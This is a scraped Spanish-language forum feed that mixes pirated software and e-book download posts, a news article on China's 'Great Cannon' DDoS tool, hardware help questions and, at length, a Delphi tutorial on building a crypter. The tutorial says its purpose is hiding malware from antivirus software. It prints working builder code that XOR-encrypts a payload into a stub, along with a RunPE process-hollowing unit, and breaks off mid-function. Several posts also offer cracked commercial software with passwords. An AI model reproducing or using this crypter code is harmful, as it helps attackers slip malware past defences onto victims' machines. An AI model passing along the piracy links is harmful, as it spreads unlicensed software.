[PDF] Manual de Batch 1 y 2

$
0
0

Ficha Técnica:
  • Título: Manual de Batch 1 y 2
  • Autor(es): Alan++
  • Publicación: 2011
  • Editorial: autoedition
  • Núm. Páginas: 35p.
  • Tamaño: 4.51 Mbs (.rar)
  • Idioma: Español
Contenido

La idea de este manual realizar un sencillo programa que, en un primer momento resulte constructivo para pasar más adelante a destructivo…

En DOS, OS/2 y Microsoft Windows un archivo batch es un archivo de procesamiento por lotes. Se trata de archivos de texto sin formato, guardados con la extensión BAT que contienen un conjunto de comandos MS-DOS. Cuando se ejecuta este archivo, —mediante CMD— los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Cualquier comando MS-DOS puede ser utilizado en un archivo batch.

Ésta es la forma de automatizar procesos (copiar, pegar, renombrar y enviar datos) en MS-DOS. De este modo, evitamos procesos rutinarios y monótonos, acelerando los mismos. Tiene la funcionalidad de conectarse con otras interfaces por línea de comandos.

Un tipo batch es un archivo de texto que contiene comandos a ejecutar en un intérprete de comandos propio de DOS o OS/2. Cuando es iniciado, un programa shell —típicamente command.com o cmd.exe— lo lee y ejecuta, generalmente línea a línea. De este modo, se emplea para ejecutar series de comandos automáticamente. El hecho de que funcione sólo para MS-DOS lo hace muy limitado. Su extensión es .bat o .cmd.

También profundizaremos más en la creación de ficheros cuyo objetivo es el procesamiento por lotes de instrucciones en una consola MS-DOS.




Uploadable.ch - #1 [PDF] Manual de Batch 1 y 2

China usando una poderosa arma 'Gran Cañón' para censurar Internet

$
0
0

China tiene algo muy impresionante que no somos conscientes. El país tiene un arma poderosa y previamente desconocido que su gobierno está utilizando para reforzar sus capacidades de ataque cibernético:

Apodado "El Gran Cañón".

CENSURA DE INTERNET EN CHINA

Cuando hablo de la censura en Internet, es incompleta si no menciono China. China es famosa por su Gran Muralla China y Gran Cortafuegos Chino. La censura de la conexión a Internet y el bloqueo de una página web individual en China por su gobierno, conocido como el Gran Cortafuegos de China.

Pero, ¿por qué el gobierno chino hace eso? la respuesta es muy simple:

El gobierno chino restringe aquellos contenidos que considere sensible para la llamada democracia de su país. Se ilegalizar el derecho de expresión en línea y actividades, bloquear sitios web seleccionados, y filtra las palabras clave de búsquedas iniciadas desde ordenadores situados en la China continental.

Lo peor:

Los ciudadanos chinos que ofenden a las autoridades contra la censura de Internet en el país también se pueden enfrentar a consecuencias judiciales.

GitHub HIT POR DDoS Massive Attack

Ahora:

Lo mismo que he mencionado anteriormente hizo China hace unos días para Github con el lanzamiento de una masiva denegación de servicio distribuido (DDoS).

Github es un sitio web de alojamiento de código fuente popular utilizado por los programadores para colaborar en el desarrollo de software.

Los masivos ataques DDoS, que intermitentemente cerraron GitHub por más de 5 días , específicamente dirigido dos proyectos populares Github -
  • GreatFire.org - herramienta anti-censura, alojado en GitHub, que sirve para ayudar a los ciudadanos chinos eluden El Gran Cortafuegos de China.
  • CN-NYTimes - Un grupo en Github que aloja espejos del New York Times para permitir que los internautas chinos el acceso a la página web de noticias, que normalmente está bloqueado en China.

Pero, ¿cómo los chinos logran producir ataques DDoS de tanta fuerza y ​​ancho de banda?

Sí, la respuesta es el "Gran Cañón" (GC). Gobierno chino ahora está utilizando una nueva arma cibernética en un esfuerzo para silenciar no sólo sus ciudadanos, pero los críticos de todo el mundo, según el último informe publicado por Citizen Lab.

EL GRAN CAÑÓN - una NUEVA arma poderosa

¿Cuál es el Gran Cañón?

El Gran Cañón es una herramienta de ataque cibernético especial esencialmente capaz de secuestrar el tráfico de Internet a nivel nacional y luego dirigir el tráfico a las redes de los atacantes para que queden fuera de línea, enviar de regreso spyware o malware, o utilizando el objetivo de inundar otro sitio web con tráfico .

Se cree que los atacantes de Github utilizaron el Gran Cañón como una herramienta de ataque DDoS para redirigir el tráfico de Internet de los visitantes chinos gigante motor de búsqueda 'Baidu' o cualquier sitio web que utiliza una amplia red de Publicidad de Baidu con el fin de paralizar la página web de código compartido popular.

En palabras simples:

Los visitantes de un sitio web afiliado a Baidu desde cualquier parte del mundo eran vulnerables a conseguir su tráfico de Internet secuestrado por los atacantes, que podrían luego ser convertidos en un arma para inundar sitios web anti-censura, como GitHub, con demasiada cantidad de tráfico no deseado.

Vamos a echar un vistazo a cómo el Gran Cañón se desplegó en los ataques de GitHub y GreatFire.org:


¿CÓMO FUNCIONA EL GRAN CAÑÓN?

El Gran Cañón funciona interceptando los datos que se envían entre dos nodos y luego redirigir los datos a un tercero. Esta arma cibernética poderosa parece aprovechar una escritura analítica, que comúnmente se distribuye por el motor de búsqueda Baidu chino.

Ahora:

Generalmente este script no es malicioso, pero de acuerdo con Citizen Lab, creadores del cañón la idea del código del script tiene como fin redirigir al usuario a Github, en lugar de enviar un paquete de datos, inundando así el sitio web de destino con el tráfico de los usuarios desprevenidos .

El arma también es capaz de producir un ataque full-fledged man-in-the-middle (MITM), por lo que también podría ser utilizado para interceptar mensajes de correo electrónico sin cifrar.

Me hace recordar de:

QUANTUM - arma similar de una NSA que era capaz de redirigir las víctimas a sitios web falsos que contienen malware que se sirven a través de sitios no cifrados utilizando hombre en los ataques a un servidor falso, que pueden responder más rápido que el real que se coloca en algún lugar de la red troncal de Internet.

Estos nodos secretos troncales de Internet, que la Agencia de Seguridad Nacional, nodos Quantum dobladas.

Lo que es más:

Este nuevo movimiento por el gobierno chino podría indicar un problema en el comportamiento en línea de China - El paso de la censura pasiva del Gran Cortafuegos de China a la censura activa atacando fácilmente sitios web extranjeros con el Gran Cañón.

Los ataques cibernéticos procedentes de China no son en absoluto sorprendente. Pero ...

... "El despliegue operativo de la Gran Cañón representa una escalada significativa en el control de la información a nivel estatal: la normalización del uso generalizado de una [cyber] herramienta de ataque para hacer cumplir la censura en armas a los usuarios", los investigadores de seguridad de la Universidad de Toronto y la Universidad de California, escribió en un informe publicado el viernes.

MEDIDAS PARA MITIGAR EL GRAN CAÑÓN

Según los investigadores, el arma Gran Cañón utilizado por las autoridades chinas se podría neutralizar en gran medida si los sitios web se comunican a través de conexiones HTTPS encriptados.

¿Por qué? La razón:

Esos sitios web cuyo comunicaciones son de extremo a extremo cifrado es difícil de modificar por un atacante situado entre el emisor y el receptor, a menos que y hasta que esos sitios web no están cargando archivos o recursos vía sin cifrar es decir, sin las conexiones HTTPS.


Visual Studio 2013 SDK Samples

$
0
0

Visual Studio 2013 SDK Samples, es un entorno de desarrollo integrado (IDE) que le permite desarrollar una amplia variedad de aplicaciones de software de forma rápida y sencilla. El SDK de Visual Studio proporciona un marco que se puede utilizar para ampliar la funcionalidad de Visual Studio 2013.

Para empezar primero tendrá que descargar e instalar:
El Visual Studio 2013 SDK le ayudará a extender todos los aspectos del IDE Visual Studio. Estas muestras ayudarán a proporcionar ejemplos de cómo extender las siguientes áreas de Visual Studio:
  • Adición de menús y comandos en el sistema de menús
  • Crear una nueva Herramienta de Windows.
  • Extensión de la incorporada en el editor de código.
  • Crear nuevas plantillas de proyecto.
  • Creación y distribución de controles personalizados
  • Adición de nuevas opciones en el diálogo de opciones de herramientas.
  • Trabajar con los activos existentes en los 5istemas del proyecto.
  • Ampliación de MSBuild.
  • Creación de nuevos 5istemas del proyecto Gestionado, integración nativa y depurador personalizado.
Contenido:



Server #1 Visual Studio 2013 SDK Samples

Server #2 Visual Studio 2013 SDK Samples

recomiendan los ************************ aspel

$
0
0
Hola me presento, soy victor_belmont y soy nuevo en el foro, un placer conocerlos a todos ustedes. Resulta que en donde trabajo me han enviado a capasitarme en el uso de los ************************ aspel (COI, NOI y SAE) en las ultimas versiones, en los centros de capacitación oficiales. a he tomado 2 de los 3 cursos, el de COI y el de SAE, los cuales solo duraron 2 días cada uno (la verdad es que se me hace muy poco tiempo para aprender a usarlo y con el manual que nos dieron), pero la verdad es que no me convencen y siento que al momento de explicarlos los procesos y la forma de capturar la informacion y el como configurarlo, como que le dan muchas vueltas y las rutas para llegar a tal o cual funcion son largas (no lo se, tal vez yo me siento asi por que no tengo conocimientos de contabilidad o de administración de documentos como son notas de venta, ordenes de compra, ect). Y por eso me gustaria que si alguno de ustedes que ya tiene más experiencia en el uso de estos ************************ me dijera su opinion, si los recomiendan, si no, si hay otras opciones más faciles y amigables de manejar como alternativa al uso de estos, o si existe algun curso mejor para aprender sobre el uso de los mismos.

Como experiencia sobre estos cursos, me gustaria comentarles que en el ultimo dia de SAE, se pusieron a debatir entre los participantes sobre la forma correcta de llevar los procesos y el uso que de una nota de venta, que de una nota de credito, que de una factura, que si se podia cancelar, que el sistema luego tenia muchos errores y que por que no agregaban esto y aquello, total, que me revolvieron aun más. :_pen:

reutilizar componentes de lectoras de dvd

$
0
0
tengo 2 lectoras de dvd que ya no sirven, las acabo de desarmar y pude sacar de cada una 3 motores, ademas de que trate de quitarle todos los tornillos posibles, unas bandas de color negro que estaban en los engranajes de plastico y una especie de gomitas que estaban en unos tornillos que saque. Mi pregunta es si puedo reutilizar los motores, ya que algunos tienen los cables en unas bandas de color blanco, en otros la banda es de color cafe, tambien pregunto si serian de utilidad los tornillos que saque o ya no vale la pena conservarlos. Tambien guarde las pcb que tenian las lectoras, estas tiienen circuitos integrados y desconosco si se podrian desoldar y ocuparse para algo. ¿Que opinan de esto compañeros y compañeras? :_mm:

RAM en Motherboard P5VM-ULTRA

$
0
0
Hola, tengo una duda sobre la placa de referencia este es el user manual

en la misma detalla que soporta ram con 533 mhz.

1º caso: ahora colocando solo un modulo de DDR2 2gb de 800 mhz trabaja "ok", pero agregando otro mismo modulo de "2gb 800" en el segundo canal, el BIOS ya no lo reconoce.

2º caso: utilizando 2 x 1GB de 667 el BIOS solo reconoce 1 GB

3º caso: colocando un modulo de 1 GB 533mhz + 2gb 800 mhz, el BIOS reconoce 3 GB, "ok" .. la duda es, si con este juego de modulos: ¿el sistema presentará inestabilidad en el tiempo? ¿incidirá utilizar dos marcas?

en el BIOS esta configurado todo en auto en el NorthBrige

desde ya gracias por su tiempo.

Futuremark PCMark 8 v2.4.304 Professional Edition [Ingles] [2015]

$
0
0





Nombre : Futuremark.PCMark.8.v2.4.304.Professional.Edition-P2P Tamaño : 2.90 GB


Grupo P2P ha lanzado una nueva generación de "PCMark 8 Professional Edition" Para Windows. Es una utilidad de la evaluación comparativa simple, pero muy útil que se puede utilizar para probar el rendimiento general del sistema, así como las capacidades de los diferentes componentes de hardware.

Descripción :

PCMark 8 es la versión más reciente de nuestra serie de herramientas de evaluación comparativa para PC más conocidos. Está diseñado para probar el funcionamiento de todo tipo de PC, a partir de comprimidos a los escritorios. A falta de cinco pruebas de referencia separadas, más pruebas de duración de la batería, PCMark 8 te ayuda a encontrar los dispositivos que ofrecen la combinación perfecta de eficiencia y rendimiento. PCMark 8 es la referencia completa de PC para el hogar y los negocios.

Características:

La prueba de benchmark PC estándar de la industria para Windows 8 y Windows 7.
Combina pruebas de rendimiento con la nueva batería de herramientas de medición de la vida.
Incluye nuevas pruebas con aplicaciones populares de Microsoft y Adobe.
Ideal para probar el rendimiento de los SSD y dispositivos de almacenamiento híbrido

Nombre : Futuremark.PCMark.8.v2.4.304.Professional.Edition-P2P Tamaño : 2.90 GB

Archivos sin contraseña
Posible Password Del Paste: COCO2014










Virtual DJ Pro v8.0.2195 [Multilenguaje] [2015]

$
0
0





Virtual.DJ.Pro.v8.0.2195.Multilingual-P2P Tamaño : 211 MB

+ Contenido [FULL][MULTIDIOMA][211 MB][P2P][2015][UL-UD-RG-OB-UR-NF]

Grupo P2P ha lanzado una nueva generación de "Virtual DJ Pro". Podría ser un gran punto de partida para construir su carrera, ya que le ayuda a crear mezclas sorprendentes y melodías a asombrar a su público.

Descripción :

Atomix Virtual DJ es el software de mezcla de MP3 que los objetivos de cada DJ dormitorio para DJs superestrellas profesionales como Carl Cox, y es utilizado cada día por millones de DJs, y en muchos grandes clubes. Cuenta con un motor BeatLock que mantendrá sus canciones en sintonía y te permiten trabajar sus mezclas increíblemente más rápido que cualquier otro DJ. El motor de lazo automático sin costuras y el nuevo dechado sincronizado le dejarán realizar asombrar remezcla en marcha. VirtualDJ es compatible con vinilos timecode que le permiten cero su MP3 directamente en una verdadera plataforma giratoria, y con muchos otros equipos de DJ.

Características:

Los controles estándar (reproducción, pausa, stop, cue)
Control de volumen
Control de tono (de -34 a + 34%)
Ecualizador de 3 bandas con Kill + ganancia
Un clic en el golpe que emparejaba y sincronización (nuevo algoritmo FAME)
BeatLock motor: tus canciones siempre permanecer en el tiempo, y usted puede trabajar sus mezclas increíblemente más rápido que cualquier otro DJ podría
Crossfading Automatic beat-emparejado
On-the-fly cálculo automático de BPM
Juego de tono automática
La concordancia automática nivel
La concordancia automática latido
Visualizador de ritmo dinámico para arrastrar y soltar fácil de ritmos
Simulación cero real
Y muchos muchos más ..

Virtual.DJ.Pro.v8.0.2195.Multilingual-P2P Tamaño : 211 MB

Archivos sin contraseña
Posible Password Del Paste: COCO2014










Video Tutorial Ruby (CodigoFacilito)

$
0
0

En este tema vamos a ir agregando video tutoriales de Ruby de CodigoFacilito, pero aparte de los videos agregaremos conceptos y ejemplos adicionales para complementar la información ya expuesta en los videos.

Si crees que le falta alguna información a los videos puedes también participar agregando información adicional.

Contenido

Tutorial Ruby 1: Introducción

[Software] Web Page Maker 3.22 + Plantillas

$
0
0

Detalles
  • Fecha Publicación: 2014
  • Versión: 3.22
  • Nombre: Web Page Maker
  • Idioma: ingles
  • Sistema Operativo: Windows XP / Windows 7 / Windows 8 (32bit, 64bit)
  • Contenido: Programa + Plantillas
Descripción

Web Page Maker es sin duda alguna una de las aplicaciones más sencillas que hemos visto para crear tu página web, y además con unos resultados verdaderamente atractivos.

Son muchas las aplicaciones que te permiten diseñar un espacio Web personal y colgarlo de Internet sin tener la más remota idea de programación, pero Web Page Maker destaca por su increíble facilidad de uso y la elegancia de los diseños que incorpora.

Puedes crear tu Web desde cero o usando las plantillas que el programa trae integradas, tanto si se trata de una página de empresa o personal, y exportarla a HTML para publicarla directamente desde Web Page Maker mediante FTP.

Es tan fácil como añadir cuadros de texto, imágenes, logos, botones, banners, animaciones, formas geométricas y mucho más, colocarlo con toda libertad sobre la interfaz del programa, modificar su tamaño con el ratón y listo!

Web Page Maker incluye ocho plantillas de diseño, una amplia librería de “clipart”, diversos efectos de Javascript y función ilimitada de “undo”, para ir probando cosas sin temor a equivocarte.

Desde luego, se te acabaron las excusas para no tener tu propia Web en Internet.

Instalación





uploaded.net - #1 Web Page Maker 3.22

[Libro] Algoritmos A Fondo - Con Implementaciones En C Y Java

$
0
0

Detalles
  • Nombre: Algoritmos A Fondo - Con Implementaciones En C Y Java
  • Autor: Pablo SZNAJDLEDER
  • Nro de paginas: 576
  • Editorial: Alfaomega; 1 Edición (Deciembre 25, 2012)
  • Lenguaje: Español
  • Contenido: Libro en .Pdf + Ejemplos (.rar)
Presentación


Descripción

Este libro está diseñado para cubrir las necesidades de los alumnos universitarios que cursan las materias de Algoritmos.

Comienza desde “cero”, explicando los conceptos de lógica algorítmica y programación estructurada y llega hasta el análisis, diseño e implementación de algoritmos complejos y estructuras de datos dinámicas no lineales.

Desarrolla un “curso de programación” donde se guía al alumno en un proceso de aprendizaje durante el cual podrá adquirir la lógica necesaria para diseñar e implementar algoritmos en lenguaje C (programación estructurada) y Java (programación orientada a objetos).

En este curso, cada capítulo introduce un mayor nivel de dificultad, ya sea incorporando nuevos conceptos y recursos o bien, incorporando técnicas de programación más complejas.

Contenido:

01. Introducción a los algoritmos y a la programación de computadoras
02. Estructuras básicas de control y lógica algorítmica
03. Funciones, modularización y metodología top-down
04. Tipos de datos alfanuméricos
05. Punteros a carácter
06. Punteros, arrays y aritmética de direcciones
07. Tipos de datos estructurados
08. Operaciones sobre archivos
09. Tipo Abstracto de Dato (TAD)
10. Análisis de ejercicios integradores
11. Estructuras de datos dinámicas lineales
12. Encapsulamiento a través de clases y objetos
13. Introducción al lenguaje de programación Java
14. Programación orientada a objetos
15. Estructuras de datos dinámicas lineales en Java
16. Compresión de archivos mediante el algoritmo de Huffman
17. Recursividad
18. Árboles
19. Complejidad algorítmica
20. Algoritmos de ordenamiento
21. Estrategia algorítmica
22. Algoritmos sobre grafos

Videos

01. Presentacion e Instalar Eclipse
02. Primeros programas
03. Debuggear un programa
04. Funciones x separado
05. Argumentos en linea de comandos
06. Algoritmo Bubble Sort
07. Busqueda Binaria
08. Grabar y leer archivos
09. Grabar y leer archivos de registros
10. Eclipse para Java
11. Compresión de archivos mediante algoritmo de Huffman (Completo)




uploaded.net - #1 [PDF] Algoritmos A Fondo - Con Implementaciones En C Y Java

[Delphi] Creacion de un Crypter

$
0
0
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ...

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a encriptar , el primer boton sera para buscar el archivo , el segundo boton para encriptar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  // del archivo a encriptar
  begin
    Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
    // la ruta del archivo marcado en el openDialog1
  end;
end;

Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código:

procedure TForm1.Button2Click(Sender: TObject);
var
  codigo: string; // Declaramos la variable "codigo" como string
  key: integer; // Declaramos la variable "key" como integer
  separador: string; // Declaramos la variable "separador" como string
  linea: string; // Declaramos la variable "linea" como string
begin

  separador := '-barra-';
  // Establecemos el valor que tendra la variable "separador"
  key := 123; // Establecemos el valor de la variable "key" como 123

  codigo := xor_now(leer_archivo(Edit1.Text), key);
  // Leemos el archivo que hay en
  // la caja de texto y encriptamos con XOR el contenido usando una key

  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
    Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  // Copiamos el stub.exe con el nombre de done.exe

  linea := separador + codigo + separador + IntToStr(key) + separador;
  // Establecemos
  // la variable "linea" con el valor de contenido del archivo encriptado con
  // XOR y la key del cifrado XOR

  escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  // tambien ponemos el valor de la variable "linea"
 
  ShowMessage('Done');

end;

El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código:

// Unit : Tools for Crypter
// Coded By Doddy Hackman in the year 2015
// Credits : Based on OP Crypter By Xash
// Thanks to Xash

unit tools;

interface

uses SysUtils, Windows;

function leer_datos(archivo, delimitador1, delimitador2: string): string;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;

function leer_archivo(archivo_a_leer: String): AnsiString;
function xor_now(texto: string; clave: integer): string;

implementation

function xor_now(texto: string; clave: integer): string;
var
  numero: integer; // Establecemos la variable "numero" como integer
  contenido: string; // Establecemos la variable "contenido" como string
begin
  contenido := ''; // Vaciamos el contenido de la variable "contenido"
  for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  // la longitud de la variable "texto"
  begin
    contenido := contenido + Char(integer(texto[numero]) xor clave);
    // Encriptamos los datos
    // con XOR
  end;
  Result := contenido; // Devolvemos el resultado de la funcion como el valor
  // de la variable "contenido"
end;

function leer_archivo(archivo_a_leer: String): AnsiString;
var
  archivo: File; // Declaramos la variable "archivo" como File
  tipo: Byte; // Declaramos la variable "tipo" como Byte
begin
  tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  try
    FileMode := 0; // Establecemos como "0" el FileMode
    AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
{$I-}
    Reset(archivo, 1); // Leemos el archivo desde la primera linea
{$I+}
    if IoResult = 0 then // Si IoResult es 0 ...
      try
        SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
        // variable "Result" como la longitud del archivo
        if Length(Result) > 0 then
        // Si la longitud del resultado es mayor a 0 ...
        begin
{$I-}
          BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
{$I+}
          if IoResult <> 0 then // Si es distinto a 0 ..
            Result := '';
        end;
      finally
        CloseFile(archivo); // Cerramos el archivo
      end;
  finally
    FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  end;
end;

function leer_datos(archivo, delimitador1, delimitador2: string): string;

var
  contenido: string; // Declaramos la variable "contenido" como string
  limite: integer; // Declaramos la variable "limite" como integer
  dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  control1: integer; // Declaramos la variable "control1" como integer
  control2: integer; // Declaramos la variable "control2" como integer
  suma: integer; // Declaramos la variable "suma" como integer
  numero: integer; // Declaramos la variable "numero" como integer
  suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  resultado: string; // Declaramos la variable "resultado" como string
  contenido_final: string;
  // Declaramos la variable "contenido_final" como string
begin

  if (FileExists(archivo)) then // Si existe el archivo ...
  begin
    contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
    // en la variable "contenido"

    suma_inicial_1 := Length(delimitador1);
    // Calculamos la longitud de la variable
    // "delimitador1"

    suma_inicial_2 := Length(contenido);
    // Calculamos la longitud de la variable
    // "contenido"

    suma := Pos(delimitador1, contenido) + suma_inicial_1;
    // Calculamos la posicion del
    // "delimitador" en la variable "contenido"

    dividiendo := suma_inicial_2 - suma;
    // Restamos las variables "suma_inicial_2"
    // y "suma"
      dividiendo2 := suma_inicial_2 - dividiendo;
    // Restamos las variables "suma_inicial_2"
    // y "dividiendo"

    contenido := Copy(contenido, dividiendo2, suma_inicial_2);
    // Copiamos las variables y las guardmamos en "contenido"

    suma_casi_1 := Pos(delimitador1, contenido);
    // Calculamos la posicion de "delimitador1"
    // en la variable "contenido"
    suma_casi_2 := suma_casi_1 + suma_inicial_1;
    // Sumamos las variables "suma_casi_1"
    // y "suma_inicial_1"

    control1 := Pos(delimitador2, contenido) - suma_casi_2;
    // Calculamos la posicion
    // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"

    control2 := control1 - 1; // Restamos en uno la variable "control1"

    for numero := 0 to control2 do
    // Realizamos un for usando desde 0 hasta el valor
    // de la variable "control2"
    begin
      dividiendo3 := suma_inicial_1 + numero;
      // Sumamos la variables varibles "suma_inicial_1"
      // y "numero"
      dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
      // Calculamos la posicion de "delimitador1" en la variable
      // "contenido"
      contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
      // en la variable "dividiendo4" para acceder a cierta posicion de la variable
      // "contenido"
      resultado := resultado + contenido_final;
      // Sumamos las variables "resultado" y
      // "contenido_final"
    end;

    if resultado = '' then // Si la variable "resultado" esta vacia ...
    begin
      resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
    end
    else
    begin
      Result := resultado; // De lo contrario mostramos el contenido de la
      // variable "resultado" en resultado de la funcion
    end;
  end
  else
  begin
    Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
    // la funcion
  end;
end;

function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
var
  abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  // TextFile
begin
  if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  begin
    AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
    // "ruta"
    Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
    // "abriendo_archivo"
    try
      begin
        WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
        // Escribimos los datos
        // de las variables "delimitador1,"texto","delimitador2"
      end
    finally
      begin
        CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
        // "abriendo_archivo"
      end;
      Result := True; // Devolvemos "True" como resultado de la funcion
    end;
  end
  else
  begin
    Result := False; // De lo contrario devolvemos "False" como resultado de la
    // funcion
  end;

end;

end.

// The End ?

Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código:

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,tools;

Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código:

{ uExecFromMem

  Author: steve10120
  Description: Run an executable from another's memory.
  Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  Reference: http://www.security.org.sg/code/loadexe.html
  Release Date: 26th August 2009
  Website: http://ic0de.org
  History: First try

  Additions by testest 15th July 2010:
    - Parameter support
    - Win7 x64 support
}

unit uExecFromMem;

interface

uses Windows;

function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;

implementation

function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';

type
  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
    VirtualAddress: DWORD;
    SizeOfBlock: DWORD;
  end;

procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
  l_i: Cardinal;
  l_codebase: Pointer;
  l_relocation: PImageBaseRelocation;
  l_dest: Pointer;
  l_relInfo: ^Word;
  l_patchAddrHL: ^DWord;
  l_type, l_offset: integer;
begin
  l_codebase := f_module;
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  begin
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
    while l_relocation.VirtualAddress > 0 do
    begin
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
      begin
        l_type := (l_relInfo^ shr 12);
        l_offset := l_relInfo^ and $FFF;
        if l_type = 3 then
        begin
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
        end;
        inc(l_relInfo);
      end;
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
    end;
  end;
end;

function AlignImage(pImage:Pointer):Pointer;
var
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  ISH:          PImageSectionHeader;
  i:            WORD;
begin
  IDH := pImage;
  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  begin
    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  end;
end;

function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  Result := Base;
  if Base <> nil then
    while ((DWORD(Result) mod 4) <> 0) do
      Result := Pointer(DWORD(Result) + 1);
end;

function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
  PI:          TProcessInformation;
  SI:          TStartupInfo;
  CT:          PContext;
  CTBase:      PContext;
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  dwImageBase:  DWORD;
  pModule:      Pointer;
  dwNull:      DWORD;
begin
  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;

  Result := 0;
  IDH := pFile;
  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  begin
    INH := Pointer(Integer(pFile) + IDH^._lfanew);
